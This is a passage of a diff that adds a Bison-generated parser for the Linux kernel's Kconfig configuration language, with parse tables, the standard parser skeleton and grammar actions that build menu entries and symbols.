-90, -90, + -90, 243, -90, -90, -90, -90, -90, -90, -90, -48, + -90, -90, -90, -90, -90, -90, -90, -90, -90, -90, + -90, -20, -90, -90, -90, -90, -90, 206, 205, -68, + -90, -90, 169, -1, 27, -7, 118, -66, -89, -90 +}; + +/* YYTABLE[YYPACT[STATE-NUM]]. What to do in state STATE-NUM. If + positive, shift that token. If negative, reduce the rule which + number is the opposite. If YYTABLE_NINF, syntax error. */ +#define YYTABLE_NINF -86 +static const yytype_int16 yytable[] = +{ + 10, 88, 89, 54, 146, 147, 119, 1, 122, 164, + 93, 141, 56, 142, 58, 156, 94, 62, 1, 90, + 91, 131, 65, 66, 144, 145, 67, 90, 91, 132, + 127, 68, 136, -31, 97, 2, 154, -31, -31, -31, + -31, -31, -31, -31, -31, 98, 52, -31, -31, 99, + -31, 100, 101, 102, 103, 104, -31, 105, 129, 106, + 138, 173, 92, 141, 107, 142, 174, 172, 8, 9, + 143, -33, 97, 90, 91, -33, -33, -33, -33, -33, + -33, -33, -33, 98, 166, -33, -33, 99, -33, 100, + 101, 102, 103, 104, -33, 105, 11, 106, 179, 151, + 123, 126, 107, 135, 125, 130, 2, 139, 2, 90, + 91, -5, 12, 55, 161, 13, 14, 15, 16, 17, + 18, 19, 20, 65, 66, 21, 22, 23, 24, 25, + 26, 27, 28, 29, 30, 57, 59, 31, 61, -4, + 12, 63, 32, 13, 14, 15, 16, 17, 18, 19, + 20, 64, 71, 21, 22, 23, 24, 25, 26, 27, + 28, 29, 30, 72, 73, 31, 180, 90, 91, 52, + 32, -85, 97, 82, 83, -85, -85, -85, -85, -85, + -85, -85, -85, 84, 190, -85, -85, 99, -85, -85, + -85, -85, -85, -85, -85, 85, 97, 106, 86, 87, + -52, -52, 140, -52, -52, -52, -52, 98, 95, -52, + -52, 99, 114, 115, 116, 117, 96, 148, 149, 150, + 158, 106, 155, 159, 97, 163, 118, -76, -76, -76, + -76, -76, -76, -76, -76, 160, 164, -76, -76, 99, + 13, 14, 15, 16, 17, 18, 19, 20, 91, 106, + 21, 22, 14, 15, 140, 17, 18, 19, 20, 168, + 175, 21, 22, 177, 181, 182, 183, 32, 187, 167, + 188, 169, 170, 171, 185, 189, 53, 51, 32, 176, + 75, 178, 121, 0, 133, 162, 0, 0, 0, 0, + 184 +}; + +#define yypact_value_is_default(yystate) \ + ((yystate) == (-90)) + +#define yytable_value_is_error(yytable_value) \ + YYID (0) + +static const yytype_int16 yycheck[] = +{ + 1, 67, 68, 10, 93, 94, 76, 3, 76, 14, + 28, 81, 13, 81, 15, 104, 34, 18, 3, 32, + 33, 23, 26, 27, 90, 91, 30, 32, 33, 31, + 78, 35, 80, 0, 1, 31, 102, 4, 5, 6, + 7, 8, 9, 10, 11, 12, 31, 14, 15, 16, + 17, 18, 19, 20, 21, 22, 23, 24, 78, 26, + 80, 26, 69, 133, 31, 133, 31, 156, 26, 27, + 29, 0, 1, 32, 33, 4, 5, 6, 7, 8, + 9, 10, 11, 12, 150, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 24, 0, 26, 164, 100, + 77, 78, 31, 80, 77, 78, 31, 80, 31, 32, + 33, 0, 1, 31, 115, 4, 5, 6, 7, 8, + 9, 10, 11, 26, 27, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 31, 26, 26, 31, 0, + 1, 26, 31, 4, 5, 6, 7, 8, 9, 10, + 11, 26, 31, 14, 15, 16, 17, 18, 19, 20, + 21, 22, 23, 1, 1, 26, 31, 32, 33, 31, + 31, 0, 1, 31, 31, 4, 5, 6, 7, 8, + 9, 10, 11, 31, 185, 14, 15, 16, 17, 18, + 19, 20, 21, 22, 23, 31, 1, 26, 31, 31, + 5, 6, 31, 8, 9, 10, 11, 12, 31, 14, + 15, 16, 17, 18, 19, 20, 31, 31, 31, 25, + 1, 26, 26, 13, 1, 26, 31, 4, 5, 6, + 7, 8, 9, 10, 11, 31, 14, 14, 15, 16, + 4, 5, 6, 7, 8, 9, 10, 11, 33, 26, + 14, 15, 5, 6, 31, 8, 9, 10, 11, 31, + 31, 14, 15, 31, 31, 31, 31, 31, 31, 151, + 31, 153, 154, 155, 34, 31, 7, 6, 31, 161, + 37, 163, 76, -1, 79, 116, -1, -1, -1, -1, + 172 +}; + +/* YYSTOS[STATE-NUM] -- The (internal number of the) accessing + symbol of state STATE-NUM. */ +static const yytype_uint8 yystos[] = +{ + 0, 3, 31, 37, 38, 39, 63, 81, 26, 27, + 79, 0, 1, 4, 5, 6, 7, 8, 9, 10, + 11, 14, 15, 16, 17, 18, 19, 20, 21, 22, + 23, 26, 31, 40, 41, 43, 44, 45, 46, 52, + 53, 55, 59, 61, 64, 65, 67, 69, 70, 71, + 80, 39, 31, 38, 81, 31, 79, 31, 79, 26, + 85, 31, 79, 26, 26, 26, 27, 30, 35, 83, + 84, 31, 1, 1, 47, 47, 56, 58, 62, 76, + 68, 74, 31, 31, 31, 31, 31, 31, 83, 83, + 32, 33, 81, 28, 34, 31, 31, 1, 12, 16, + 18, 19, 20, 21, 22, 24, 26, 31, 42, 48, + 49, 72, 73, 75, 17, 18, 19, 20, 31, 42, + 57, 73, 75, 41, 54, 80, 41, 55, 60, 67, + 80, 23, 31, 74, 77, 41, 55, 66, 67, 80, + 31, 42, 75, 29, 83, 83, 84, 84, 31, 31, + 25, 79, 78, 79, 83, 26, 84, 50, 1, 13, + 31, 79, 78, 26, 14, 82, 83, 82, 31, 82, + 82, 82, 84, 26, 31, 31, 82, 31, 82, 83, + 31, 31, 31, 31, 82, 34, 51, 31, 31, 31, + 79 +}; + +#define yyerrok (yyerrstatus = 0) +#define yyclearin (yychar = YYEMPTY) +#define YYEMPTY (-2) +#define YYEOF 0 + +#define YYACCEPT goto yyacceptlab +#define YYABORT goto yyabortlab +#define YYERROR goto yyerrorlab + + +/* Like YYERROR except do call yyerror. This remains here temporarily + to ease the transition to the new meaning of YYERROR, for GCC. + Once GCC version 2 has supplanted version 1, this can go. However, + YYFAIL appears to be in use. Nevertheless, it is formally deprecated + in Bison 2.4.2's NEWS entry, where a plan to phase it out is + discussed. */ + +#define YYFAIL goto yyerrlab +#if defined YYFAIL + /* This is here to suppress warnings from the GCC cpp's + -Wunused-macros. Normally we don't worry about that warning, but + some users do, and we want to make it easy for users to remove + YYFAIL uses, which will produce warnings from Bison 2.5. */ +#endif + +#define YYRECOVERING() (!!yyerrstatus) + +#define YYBACKUP(Token, Value) \ +do \ + if (yychar == YYEMPTY && yylen == 1) \ + { \ + yychar = (Token); \ + yylval = (Value); \ + YYPOPSTACK (1); \ + goto yybackup; \ + } \ + else \ + { \ + yyerror (YY_("syntax error: cannot back up")); \ + YYERROR; \ + } \ +while (YYID (0)) + + +#define YYTERROR 1 +#define YYERRCODE 256 + + +/* YYLLOC_DEFAULT -- Set CURRENT to span from RHS[1] to RHS[N]. + If N is 0, then set CURRENT to the empty location which ends + the previous symbol: RHS[0] (always defined). */ + +#define YYRHSLOC(Rhs, K) ((Rhs)[K]) +#ifndef YYLLOC_DEFAULT +# define YYLLOC_DEFAULT(Current, Rhs, N) \ + do \ + if (YYID (N)) \ + { \ + (Current).first_line = YYRHSLOC (Rhs, 1).first_line; \ + (Current).first_column = YYRHSLOC (Rhs, 1).first_column; \ + (Current).last_line = YYRHSLOC (Rhs, N).last_line; \ + (Current).last_column = YYRHSLOC (Rhs, N).last_column; \ + } \ + else \ + { \ + (Current).first_line = (Current).last_line = \ + YYRHSLOC (Rhs, 0).last_line; \ + (Current).first_column = (Current).last_column = \ + YYRHSLOC (Rhs, 0).last_column; \ + } \ + while (YYID (0)) +#endif + + +/* This macro is provided for backward compatibility. */ + +#ifndef YY_LOCATION_PRINT +# define YY_LOCATION_PRINT(File, Loc) ((void) 0) +#endif + + +/* YYLEX -- calling `yylex' with the right arguments. */ + +#ifdef YYLEX_PARAM +# define YYLEX yylex (YYLEX_PARAM) +#else +# define YYLEX yylex () +#endif + +/* Enable debugging if requested. */ +#if YYDEBUG + +# ifndef YYFPRINTF +# include /* INFRINGES ON USER NAME SPACE */ +# define YYFPRINTF fprintf +# endif + +# define YYDPRINTF(Args) \ +do { \ + if (yydebug) \ + YYFPRINTF Args; \ +} while (YYID (0)) + +# define YY_SYMBOL_PRINT(Title, Type, Value, Location) \ +do { \ + if (yydebug) \ + { \ + YYFPRINTF (stderr, "%s ", Title); \ + yy_symbol_print (stderr, \ + Type, Value); \ + YYFPRINTF (stderr, "\n"); \ + } \ +} while (YYID (0)) + + +/*--------------------------------. +| Print this symbol on YYOUTPUT. | +`--------------------------------*/ + +/*ARGSUSED*/ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_symbol_value_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep) +#else +static void +yy_symbol_value_print (yyoutput, yytype, yyvaluep) + FILE *yyoutput; + int yytype; + YYSTYPE const * const yyvaluep; +#endif +{ + if (!yyvaluep) + return; +# ifdef YYPRINT + if (yytype < YYNTOKENS) + YYPRINT (yyoutput, yytoknum[yytype], *yyvaluep); +# else + YYUSE (yyoutput); +# endif + switch (yytype) + { + default: + break; + } +} + + +/*--------------------------------. +| Print this symbol on YYOUTPUT. | +`--------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_symbol_print (FILE *yyoutput, int yytype, YYSTYPE const * const yyvaluep) +#else +static void +yy_symbol_print (yyoutput, yytype, yyvaluep) + FILE *yyoutput; + int yytype; + YYSTYPE const * const yyvaluep; +#endif +{ + if (yytype < YYNTOKENS) + YYFPRINTF (yyoutput, "token %s (", yytname[yytype]); + else + YYFPRINTF (yyoutput, "nterm %s (", yytname[yytype]); + + yy_symbol_value_print (yyoutput, yytype, yyvaluep); + YYFPRINTF (yyoutput, ")"); +} + +/*------------------------------------------------------------------. +| yy_stack_print -- Print the state stack from its BOTTOM up to its | +| TOP (included). | +`------------------------------------------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_stack_print (yytype_int16 *yybottom, yytype_int16 *yytop) +#else +static void +yy_stack_print (yybottom, yytop) + yytype_int16 *yybottom; + yytype_int16 *yytop; +#endif +{ + YYFPRINTF (stderr, "Stack now"); + for (; yybottom <= yytop; yybottom++) + { + int yybot = *yybottom; + YYFPRINTF (stderr, " %d", yybot); + } + YYFPRINTF (stderr, "\n"); +} + +# define YY_STACK_PRINT(Bottom, Top) \ +do { \ + if (yydebug) \ + yy_stack_print ((Bottom), (Top)); \ +} while (YYID (0)) + + +/*------------------------------------------------. +| Report that the YYRULE is going to be reduced. | +`------------------------------------------------*/ + +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yy_reduce_print (YYSTYPE *yyvsp, int yyrule) +#else +static void +yy_reduce_print (yyvsp, yyrule) + YYSTYPE *yyvsp; + int yyrule; +#endif +{ + int yynrhs = yyr2[yyrule]; + int yyi; + unsigned long int yylno = yyrline[yyrule]; + YYFPRINTF (stderr, "Reducing stack by rule %d (line %lu):\n", + yyrule - 1, yylno); + /* The symbols being reduced. */ + for (yyi = 0; yyi < yynrhs; yyi++) + { + YYFPRINTF (stderr, " $%d = ", yyi + 1); + yy_symbol_print (stderr, yyrhs[yyprhs[yyrule] + yyi], + &(yyvsp[(yyi + 1) - (yynrhs)]) + ); + YYFPRINTF (stderr, "\n"); + } +} + +# define YY_REDUCE_PRINT(Rule) \ +do { \ + if (yydebug) \ + yy_reduce_print (yyvsp, Rule); \ +} while (YYID (0)) + +/* Nonzero means print parse trace. It is left uninitialized so that + multiple parsers can coexist. */ +int yydebug; +#else /* !YYDEBUG */ +# define YYDPRINTF(Args) +# define YY_SYMBOL_PRINT(Title, Type, Value, Location) +# define YY_STACK_PRINT(Bottom, Top) +# define YY_REDUCE_PRINT(Rule) +#endif /* !YYDEBUG */ + + +/* YYINITDEPTH -- initial size of the parser's stacks. */ +#ifndef YYINITDEPTH +# define YYINITDEPTH 200 +#endif + +/* YYMAXDEPTH -- maximum size the stacks can grow to (effective only + if the built-in stack extension method is used). + + Do not make this value too large; the results are undefined if + YYSTACK_ALLOC_MAXIMUM < YYSTACK_BYTES (YYMAXDEPTH) + evaluated with infinite-precision integer arithmetic. */ + +#ifndef YYMAXDEPTH +# define YYMAXDEPTH 10000 +#endif + + +#if YYERROR_VERBOSE + +# ifndef yystrlen +# if defined __GLIBC__ && defined _STRING_H +# define yystrlen strlen +# else +/* Return the length of YYSTR. */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static YYSIZE_T +yystrlen (const char *yystr) +#else +static YYSIZE_T +yystrlen (yystr) + const char *yystr; +#endif +{ + YYSIZE_T yylen; + for (yylen = 0; yystr[yylen]; yylen++) + continue; + return yylen; +} +# endif +# endif + +# ifndef yystpcpy +# if defined __GLIBC__ && defined _STRING_H && defined _GNU_SOURCE +# define yystpcpy stpcpy +# else +/* Copy YYSRC to YYDEST, returning the address of the terminating '\0' in + YYDEST. */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static char * +yystpcpy (char *yydest, const char *yysrc) +#else +static char * +yystpcpy (yydest, yysrc) + char *yydest; + const char *yysrc; +#endif +{ + char *yyd = yydest; + const char *yys = yysrc; + + while ((*yyd++ = *yys++) != '\0') + continue; + + return yyd - 1; +} +# endif +# endif + +# ifndef yytnamerr +/* Copy to YYRES the contents of YYSTR after stripping away unnecessary + quotes and backslashes, so that it's suitable for yyerror. The + heuristic is that double-quoting is unnecessary unless the string + contains an apostrophe, a comma, or backslash (other than + backslash-backslash). YYSTR is taken from yytname. If YYRES is + null, do not copy; instead, return the length of what the result + would have been. */ +static YYSIZE_T +yytnamerr (char *yyres, const char *yystr) +{ + if (*yystr == '"') + { + YYSIZE_T yyn = 0; + char const *yyp = yystr; + + for (;;) + switch (*++yyp) + { + case '\'': + case ',': + goto do_not_strip_quotes; + + case '\\': + if (*++yyp != '\\') + goto do_not_strip_quotes; + /* Fall through. */ + default: + if (yyres) + yyres[yyn] = *yyp; + yyn++; + break; + + case '"': + if (yyres) + yyres[yyn] = '\0'; + return yyn; + } + do_not_strip_quotes: ; + } + + if (! yyres) + return yystrlen (yystr); + + return yystpcpy (yyres, yystr) - yyres; +} +# endif + +/* Copy into *YYMSG, which is of size *YYMSG_ALLOC, an error message + about the unexpected token YYTOKEN for the state stack whose top is + YYSSP. + + Return 0 if *YYMSG was successfully written. Return 1 if *YYMSG is + not large enough to hold the message. In that case, also set + *YYMSG_ALLOC to the required number of bytes. Return 2 if the + required number of bytes is too large to store. */ +static int +yysyntax_error (YYSIZE_T *yymsg_alloc, char **yymsg, + yytype_int16 *yyssp, int yytoken) +{ + YYSIZE_T yysize0 = yytnamerr (0, yytname[yytoken]); + YYSIZE_T yysize = yysize0; + YYSIZE_T yysize1; + enum { YYERROR_VERBOSE_ARGS_MAXIMUM = 5 }; + /* Internationalized format string. */ + const char *yyformat = 0; + /* Arguments of yyformat. */ + char const *yyarg[YYERROR_VERBOSE_ARGS_MAXIMUM]; + /* Number of reported tokens (one for the "unexpected", one per + "expected"). */ + int yycount = 0; + + /* There are many possibilities here to consider: + - Assume YYFAIL is not used. It's too flawed to consider. See + + for details. YYERROR is fine as it does not invoke this + function. + - If this state is a consistent state with a default action, then + the only way this function was invoked is if the default action + is an error action. In that case, don't check for expected + tokens because there are none. + - The only way there can be no lookahead present (in yychar) is if + this state is a consistent state with a default action. Thus, + detecting the absence of a lookahead is sufficient to determine + that there is no unexpected or expected token to report. In that + case, just report a simple "syntax error". + - Don't assume there isn't a lookahead just because this state is a + consistent state with a default action. There might have been a + previous inconsistent state, consistent state with a non-default + action, or user semantic action that manipulated yychar. + - Of course, the expected token list depends on states to have + correct lookahead information, and it depends on the parser not + to perform extra reductions after fetching a lookahead from the + scanner and before detecting a syntax error. Thus, state merging + (from LALR or IELR) and default reductions corrupt the expected + token list. However, the list is correct for canonical LR with + one exception: it will still contain any token that will not be + accepted due to an error action in a later state. + */ + if (yytoken != YYEMPTY) + { + int yyn = yypact[*yyssp]; + yyarg[yycount++] = yytname[yytoken]; + if (!yypact_value_is_default (yyn)) + { + /* Start YYX at -YYN if negative to avoid negative indexes in + YYCHECK. In other words, skip the first -YYN actions for + this state because they are default actions. */ + int yyxbegin = yyn < 0 ? -yyn : 0; + /* Stay within bounds of both yycheck and yytname. */ + int yychecklim = YYLAST - yyn + 1; + int yyxend = yychecklim < YYNTOKENS ? yychecklim : YYNTOKENS; + int yyx; + + for (yyx = yyxbegin; yyx < yyxend; ++yyx) + if (yycheck[yyx + yyn] == yyx && yyx != YYTERROR + && !yytable_value_is_error (yytable[yyx + yyn])) + { + if (yycount == YYERROR_VERBOSE_ARGS_MAXIMUM) + { + yycount = 1; + yysize = yysize0; + break; + } + yyarg[yycount++] = yytname[yyx]; + yysize1 = yysize + yytnamerr (0, yytname[yyx]); + if (! (yysize <= yysize1 + && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) + return 2; + yysize = yysize1; + } + } + } + + switch (yycount) + { +# define YYCASE_(N, S) \ + case N: \ + yyformat = S; \ + break + YYCASE_(0, YY_("syntax error")); + YYCASE_(1, YY_("syntax error, unexpected %s")); + YYCASE_(2, YY_("syntax error, unexpected %s, expecting %s")); + YYCASE_(3, YY_("syntax error, unexpected %s, expecting %s or %s")); + YYCASE_(4, YY_("syntax error, unexpected %s, expecting %s or %s or %s")); + YYCASE_(5, YY_("syntax error, unexpected %s, expecting %s or %s or %s or %s")); +# undef YYCASE_ + } + + yysize1 = yysize + yystrlen (yyformat); + if (! (yysize <= yysize1 && yysize1 <= YYSTACK_ALLOC_MAXIMUM)) + return 2; + yysize = yysize1; + + if (*yymsg_alloc < yysize) + { + *yymsg_alloc = 2 * yysize; + if (! (yysize <= *yymsg_alloc + && *yymsg_alloc <= YYSTACK_ALLOC_MAXIMUM)) + *yymsg_alloc = YYSTACK_ALLOC_MAXIMUM; + return 1; + } + + /* Avoid sprintf, as that infringes on the user's name space. + Don't have undefined behavior even if the translation + produced a string with the wrong number of "%s"s. */ + { + char *yyp = *yymsg; + int yyi = 0; + while ((*yyp = *yyformat) != '\0') + if (*yyp == '%' && yyformat[1] == 's' && yyi < yycount) + { + yyp += yytnamerr (yyp, yyarg[yyi++]); + yyformat += 2; + } + else + { + yyp++; + yyformat++; + } + } + return 0; +} +#endif /* YYERROR_VERBOSE */ + +/*-----------------------------------------------. +| Release the memory associated to this symbol. | +`-----------------------------------------------*/ + +/*ARGSUSED*/ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static void +yydestruct (const char *yymsg, int yytype, YYSTYPE *yyvaluep) +#else +static void +yydestruct (yymsg, yytype, yyvaluep) + const char *yymsg; + int yytype; + YYSTYPE *yyvaluep; +#endif +{ + YYUSE (yyvaluep); + + if (!yymsg) + yymsg = "Deleting"; + YY_SYMBOL_PRINT (yymsg, yytype, yyvaluep, yylocationp); + + switch (yytype) + { + case 53: /* "choice_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + case 59: /* "if_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + case 65: /* "menu_entry" */ + + { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + (yyvaluep->menu)->file->name, (yyvaluep->menu)->lineno); + if (current_menu == (yyvaluep->menu)) + menu_end_menu(); +}; + + break; + + default: + break; + } +} + + +/* Prevent warnings from -Wmissing-prototypes. */ +#ifdef YYPARSE_PARAM +#if defined __STDC__ || defined __cplusplus +int yyparse (void *YYPARSE_PARAM); +#else +int yyparse (); +#endif +#else /* ! YYPARSE_PARAM */ +#if defined __STDC__ || defined __cplusplus +int yyparse (void); +#else +int yyparse (); +#endif +#endif /* ! YYPARSE_PARAM */ + + +/* The lookahead symbol. */ +int yychar; + +/* The semantic value of the lookahead symbol. */ +YYSTYPE yylval; + +/* Number of syntax errors so far. */ +int yynerrs; + + +/*----------. +| yyparse. | +`----------*/ + +#ifdef YYPARSE_PARAM +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +int +yyparse (void *YYPARSE_PARAM) +#else +int +yyparse (YYPARSE_PARAM) + void *YYPARSE_PARAM; +#endif +#else /* ! YYPARSE_PARAM */ +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +int +yyparse (void) +#else +int +yyparse () + +#endif +#endif +{ + int yystate; + /* Number of tokens to shift before error messages enabled. */ + int yyerrstatus; + + /* The stacks and their tools: + `yyss': related to states. + `yyvs': related to semantic values. + + Refer to the stacks thru separate pointers, to allow yyoverflow + to reallocate them elsewhere. */ + + /* The state stack. */ + yytype_int16 yyssa[YYINITDEPTH]; + yytype_int16 *yyss; + yytype_int16 *yyssp; + + /* The semantic value stack. */ + YYSTYPE yyvsa[YYINITDEPTH]; + YYSTYPE *yyvs; + YYSTYPE *yyvsp; + + YYSIZE_T yystacksize; + + int yyn; + int yyresult; + /* Lookahead token as an internal (translated) token number. */ + int yytoken; + /* The variables used to return semantic value and location from the + action routines. */ + YYSTYPE yyval; + +#if YYERROR_VERBOSE + /* Buffer for error messages, and its allocated size. */ + char yymsgbuf[128]; + char *yymsg = yymsgbuf; + YYSIZE_T yymsg_alloc = sizeof yymsgbuf; +#endif + +#define YYPOPSTACK(N) (yyvsp -= (N), yyssp -= (N)) + + /* The number of symbols on the RHS of the reduced rule. + Keep to zero when no symbol should be popped. */ + int yylen = 0; + + yytoken = 0; + yyss = yyssa; + yyvs = yyvsa; + yystacksize = YYINITDEPTH; + + YYDPRINTF ((stderr, "Starting parse\n")); + + yystate = 0; + yyerrstatus = 0; + yynerrs = 0; + yychar = YYEMPTY; /* Cause a token to be read. */ + + /* Initialize stack pointers. + Waste one element of value and location stack + so that they stay on the same level as the state stack. + The wasted elements are never initialized. */ + yyssp = yyss; + yyvsp = yyvs; + + goto yysetstate; + +/*------------------------------------------------------------. +| yynewstate -- Push a new state, which is found in yystate. | +`------------------------------------------------------------*/ + yynewstate: + /* In all cases, when you get here, the value and location stacks + have just been pushed. So pushing a state here evens the stacks. */ + yyssp++; + + yysetstate: + *yyssp = yystate; + + if (yyss + yystacksize - 1 <= yyssp) + { + /* Get the current used size of the three stacks, in elements. */ + YYSIZE_T yysize = yyssp - yyss + 1; + +#ifdef yyoverflow + { + /* Give user a chance to reallocate the stack. Use copies of + these so that the &'s don't force the real ones into + memory. */ + YYSTYPE *yyvs1 = yyvs; + yytype_int16 *yyss1 = yyss; + + /* Each stack pointer address is followed by the size of the + data in use in that stack, in bytes. This used to be a + conditional around just the two extra args, but that might + be undefined if yyoverflow is a macro. */ + yyoverflow (YY_("memory exhausted"), + &yyss1, yysize * sizeof (*yyssp), + &yyvs1, yysize * sizeof (*yyvsp), + &yystacksize); + + yyss = yyss1; + yyvs = yyvs1; + } +#else /* no yyoverflow */ +# ifndef YYSTACK_RELOCATE + goto yyexhaustedlab; +# else + /* Extend the stack our own way. */ + if (YYMAXDEPTH <= yystacksize) + goto yyexhaustedlab; + yystacksize *= 2; + if (YYMAXDEPTH < yystacksize) + yystacksize = YYMAXDEPTH; + + { + yytype_int16 *yyss1 = yyss; + union yyalloc *yyptr = + (union yyalloc *) YYSTACK_ALLOC (YYSTACK_BYTES (yystacksize)); + if (! yyptr) + goto yyexhaustedlab; + YYSTACK_RELOCATE (yyss_alloc, yyss); + YYSTACK_RELOCATE (yyvs_alloc, yyvs); +# undef YYSTACK_RELOCATE + if (yyss1 != yyssa) + YYSTACK_FREE (yyss1); + } +# endif +#endif /* no yyoverflow */ + + yyssp = yyss + yysize - 1; + yyvsp = yyvs + yysize - 1; + + YYDPRINTF ((stderr, "Stack size increased to %lu\n", + (unsigned long int) yystacksize)); + + if (yyss + yystacksize - 1 <= yyssp) + YYABORT; + } + + YYDPRINTF ((stderr, "Entering state %d\n", yystate)); + + if (yystate == YYFINAL) + YYACCEPT; + + goto yybackup; + +/*-----------. +| yybackup. | +`-----------*/ +yybackup: + + /* Do appropriate processing given the current state. Read a + lookahead token if we need one and don't already have one. */ + + /* First try to decide what to do without reference to lookahead token. */ + yyn = yypact[yystate]; + if (yypact_value_is_default (yyn)) + goto yydefault; + + /* Not known => get a lookahead token if don't already have one. */ + + /* YYCHAR is either YYEMPTY or YYEOF or a valid lookahead symbol. */ + if (yychar == YYEMPTY) + { + YYDPRINTF ((stderr, "Reading a token: ")); + yychar = YYLEX; + } + + if (yychar <= YYEOF) + { + yychar = yytoken = YYEOF; + YYDPRINTF ((stderr, "Now at end of input.\n")); + } + else + { + yytoken = YYTRANSLATE (yychar); + YY_SYMBOL_PRINT ("Next token is", yytoken, &yylval, &yylloc); + } + + /* If the proper action on seeing token YYTOKEN is to reduce or to + detect an error, take that action. */ + yyn += yytoken; + if (yyn < 0 || YYLAST < yyn || yycheck[yyn] != yytoken) + goto yydefault; + yyn = yytable[yyn]; + if (yyn <= 0) + { + if (yytable_value_is_error (yyn)) + goto yyerrlab; + yyn = -yyn; + goto yyreduce; + } + + /* Count tokens shifted since error; after three, turn off error + status. */ + if (yyerrstatus) + yyerrstatus--; + + /* Shift the lookahead token. */ + YY_SYMBOL_PRINT ("Shifting", yytoken, &yylval, &yylloc); + + /* Discard the shifted token. */ + yychar = YYEMPTY; + + yystate = yyn; + *++yyvsp = yylval; + + goto yynewstate; + + +/*-----------------------------------------------------------. +| yydefault -- do the default action for the current state. | +`-----------------------------------------------------------*/ +yydefault: + yyn = yydefact[yystate]; + if (yyn == 0) + goto yyerrlab; + goto yyreduce; + + +/*-----------------------------. +| yyreduce -- Do a reduction. | +`-----------------------------*/ +yyreduce: + /* yyn is the number of a rule to reduce with. */ + yylen = yyr2[yyn]; + + /* If YYLEN is nonzero, implement the default value of the action: + `$$ = $1'. + + Otherwise, the following line sets YYVAL to garbage. + This behavior is undocumented and Bison + users should not rely upon it. Assigning to YYVAL + unconditionally makes the parser a bit smaller, and it avoids a + GCC warning that YYVAL may be used uninitialized. */ + yyval = yyvsp[1-yylen]; + + + YY_REDUCE_PRINT (yyn); + switch (yyn) + { + case 10: + + { zconf_error("unexpected end statement"); } + break; + + case 11: + + { zconf_error("unknown statement \"%s\"", (yyvsp[(2) - (4)].string)); } + break; + + case 12: + + { + zconf_error("unexpected option \"%s\"", kconf_id_strings + (yyvsp[(2) - (4)].id)->name); +} + break; + + case 13: + + { zconf_error("invalid statement"); } + break; + + case 28: + + { zconf_error("unknown option \"%s\"", (yyvsp[(1) - (3)].string)); } + break; + + case 29: + + { zconf_error("invalid option"); } + break; + + case 30: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:config %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); +} + break; + + case 31: + + { + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +} + break; + + case 32: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:menuconfig %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); +} + break; + + case 33: + + { + if (current_entry->prompt) + current_entry->prompt->type = P_MENU; + else + zconfprint("warning: menuconfig statement without prompt"); + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +} + break; + + case 41: + + { + menu_set_type((yyvsp[(1) - (3)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (3)].id)->stype); +} + break; + + case 42: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(2) - (4)].string), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +} + break; + + case 43: + + { + menu_add_expr(P_DEFAULT, (yyvsp[(2) - (4)].expr), (yyvsp[(3) - (4)].expr)); + if ((yyvsp[(1) - (4)].id)->stype != S_UNKNOWN) + menu_set_type((yyvsp[(1) - (4)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:default(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (4)].id)->stype); +} + break; + + case 44: + + { + menu_add_symbol(P_SELECT, sym_lookup((yyvsp[(2) - (4)].string), 0), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:select\n", zconf_curname(), zconf_lineno()); +} + break; + + case 45: + + { + menu_add_expr(P_RANGE, expr_alloc_comp(E_RANGE,(yyvsp[(2) - (5)].symbol), (yyvsp[(3) - (5)].symbol)), (yyvsp[(4) - (5)].expr)); + printd(DEBUG_PARSE, "%s:%d:range\n", zconf_curname(), zconf_lineno()); +} + break; + + case 48: + + { + const struct kconf_id *id = kconf_id_lookup((yyvsp[(2) - (3)].string), strlen((yyvsp[(2) - (3)].string))); + if (id && id->flags & TF_OPTION) + menu_add_option(id->token, (yyvsp[(3) - (3)].string)); + else + zconfprint("warning: ignoring unknown option %s", (yyvsp[(2) - (3)].string)); + free((yyvsp[(2) - 